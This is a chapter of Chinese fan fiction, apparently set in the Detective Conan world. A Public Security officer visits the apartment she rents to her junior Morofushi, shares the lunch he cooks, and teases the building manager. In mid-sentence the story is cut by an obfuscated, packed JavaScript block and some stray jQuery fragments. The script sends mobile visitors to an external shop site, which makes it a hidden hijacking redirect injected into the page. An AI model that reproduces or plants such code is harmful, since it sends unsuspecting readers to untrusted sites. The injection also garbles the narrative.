租给诸伏的这间公寓，我曾经住过一段时间。
这是警察厅给我的第一个房子，面积不算大，一个人住刚好，临近警察厅，上下班方便，加班也方便。
一进门，我目标明确直奔冰箱。
诸伏从我身后路过，停下看了两眼，进了厨房。
我们各做各的，谁都没管谁。
检查完冰箱，我又把电视、洗衣机一类的家电挨个检查了一遍，拆开看线路有没有隐患，还真发现了个小毛病，找螺丝刀开修。
租给诸伏之前，这里已经很久没住过人了，平常靠公寓管理员定期维护打扫。
管理员是警察厅的线人，偶尔有不可明说的人物住进这栋楼，在这里住也间接保障安全。
至少着火事件不可能发生。
我当时在这里住得还算舒服，搬走的原因很简单，空间有限，只适合一个人住。
每次遇上突发状况，几个人同时挤进来，沙发都坐不下，只能坐在地板上，后来我还专门铺了地毯。
公安们抱着膝盖围坐在一起，你一言我一语地互相嘲讽，风度全无，看起来像一群正玩过家家的小学生。
望着地板上的那块影影绰绰的光斑，耳边仿佛还能听到不喋不休的喧闹声。
“前辈，要喝点什么吗？”诸伏问，“橙汁？可乐？”
“不喝。”
我去厨房看了一眼，里面确实摆着不少食材，一个人吃不完。
时隔多年，这间公寓的厨房迎来了最懂它的人。当年我住在这里的时候，厨房的作用几乎为零。
那时候我白天上学，放学后去警察厅，偶尔遇上紧急情况还会有人来学校接我，一度被传成我是什么隐藏身份的世家少爷。
在学校吃食堂，在警察厅也吃食堂，在家饿了吃泡面，或者干脆闭眼睛睡觉，等第二天去警察厅吃。警察厅全年无休，我没有假期，反而不用担心周末怎么吃。
我倚着门框：“你一个人吃，买这么多菜做什么？”
冷光映在案板，诸伏低头唰唰唰切菜他，看不清表情，只从语气听出几分不好意思：“看到超市打折，没忍住。”
“……”朴实无华的理由。
他切菜的动作慢下来，声音也清晰了：“前辈，我昨天碰到一楼的管理员，这间公寓你租给我的价格比市场价低不少，我们再重新定一下价格吧。”
那个管理员成天费什么话。
“我说多少就是多少。”
“可……”
他还想再说，我打断：“少搭理管理员。”
干公安的都有职业病，说着话就想套话。
“管理员还说，前辈你上学的时候在这里住，经常能看到你背着书包出去。”
我：“……”
那家伙想套话就用自己的信息套，用我的信息套干什么？！
“前辈，你大学是在东京读的啊。”
“嗯。”
也是，单人公寓，上学时在这里住，没几个人会往中学生联想，大学生租房常见得多。
谁都不说话了，公寓安静下来，只剩下诸伏做菜时偶尔发出的声响。
看着厨房里的背影，也许是他身上由内而外散发的自信跟办公室里那个温吞的新人大不相同，也许是因为这是这间公寓里从未出现过的烟火气，我竟然从他身上感到了一丝捉不到实处的陌生。
午餐是一桌卖相不错的料理，主食是荞麦面，全部出自诸伏之手。
吃着荞麦面，我想起来，那我的新年愿望已经实现了。
碗里的面突然不香了。
早知道这么灵，许愿辞职好了，起码让我变回自由的光杆司令也好。
“你许了什么愿？”我问坐在对面的人。
上一句话还是关于楼下的管理员，下一句话直接跳到许愿上，诸伏一脸茫然。
“早上在神社，你许了什么愿？”我说。
“没有犯罪。”他垂眸说。
我筷子一顿。
没有犯罪，听起来跟网络上常见的世界和平、保护地球一类的话差不多，加上特效随时可以演一集假
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17860817|211983||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
面骑士。可他说这话的时候，语气偏偏透着一种说不出的专注，就像……
就像他真的愿意为这么一件虚无缥缈的事奉献终生。
诸伏起身，没反应过来的人变成了我，我慢半拍低头，他正用公筷为我夹菜。
我刚刚夹的菜掉到桌面上了，光顾着看他，没察觉。
“许这种愿望也太为难神明了。”我找回自己的声音。
“这种事确实不该向神明祈祷。”诸伏摸了摸脸颊，但没看出尴尬。
我是来吃……不，来检查冰箱的，检查完了也没有再留下来的意义。
诸伏追出来说：“前辈，再见。”
最好还是别再见了。
我背对着他挥了挥手。
路过一楼，管理员正打瞌睡，一从他面前经过，他立刻睁开眼睛，打着哈欠也挡不住眼底的精光。
“明日见君，新年快乐。”
看到跟公安有关的人还谈什么快乐。
我加快脚步，突然想起来，转头警告：“少跟他说那些有的没的。”
管理员缩了下脖子，讪讪道：“你不打招呼突然领来个人，我好奇啊，起码给我透个底吧，那个人究竟什么来头？”
“他是……”我突然卡壳了。
是图像情报分析室的新职员？跟说了一句废话有什么区别。
我的租客？我的组员？为什么会跟我扯上关系。
我胡扯一句：“哦，他是假面骑士。”
管理员瞪大眼睛，吞了口唾沫：“你的意思是……”
公安最擅长把简单的话强行拆解成复杂的模样，不知道脑补了什么，管理员按着桌面站起来，一脸严肃地说：“我知道了！”
你又知道什么了。
啧，算了。
临走之前，我再次强调：“少招惹他，他只是个普通职员。”
管理员：“我懂，我懂。包在我身上，您就放心吧。”
这话怎么听起来怎么这么耳熟。
我：“……你最好是真的懂了。”